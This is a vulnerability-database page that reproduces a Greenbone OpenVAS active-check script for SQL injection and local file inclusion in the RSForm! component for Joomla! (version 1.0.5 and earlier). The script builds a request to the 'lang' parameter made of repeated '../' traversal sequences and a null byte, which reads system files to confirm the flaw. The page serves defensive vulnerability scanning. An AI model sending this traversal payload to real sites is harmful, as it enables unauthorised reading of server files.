Lucene search
+L

RSForm! Component for Joomla! <= 1.0.5 SQLi and LFI Vulnerabilities - Active Check

🗓️ 30 Nov 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 53 Views

RSForm! Component Joomla! 'lang' Parameter SQL Injection and Local File Include Vulnerabilitie

Refs
Code
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100921");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2010-11-30 12:57:59 +0100 (Tue, 30 Nov 2010)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("RSForm! Component for Joomla! <= 1.0.5 SQLi and LFI Vulnerabilities - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44724");
  script_xref(name:"URL", value:"http://www.rsjoomla.com/joomla-components/rsform.html");
  script_xref(name:"URL", value:"http://www.rsjoomla.com/customer-support/documentations/12-general-overview-of-the-component/46-rsform-changelog.html");

  script_tag(name:"qod_type", value:"remote_vul");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("joomla_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_tag(name:"solution", value:"Vendor updates are available. Please contact the vendor for
  more information.");

  script_tag(name:"summary", value:"The RSForm! Component for Joomla! is prone to an SQL injection
  (SQLi) vulnerability and a local file-include vulnerability because it fails to sufficiently
  sanitize user-supplied data.  An attacker can exploit these vulnerabilities to compromise the
  application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  By using directory-traversal strings to execute local script code in the context of the
  application, the attacker may be able to obtain sensitive information that may aid in further
  attacks.  RSForm! Component 1.0.5 is vulnerable, other versions may also be affected.");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/index.php?option=com_forme&func=thankyou&lang=" + crap(data:"../",length:3*15) + files[file] +
              "%00";

  if (http_vuln_check(port:port, url:url,pattern:file, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port:port, data: report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation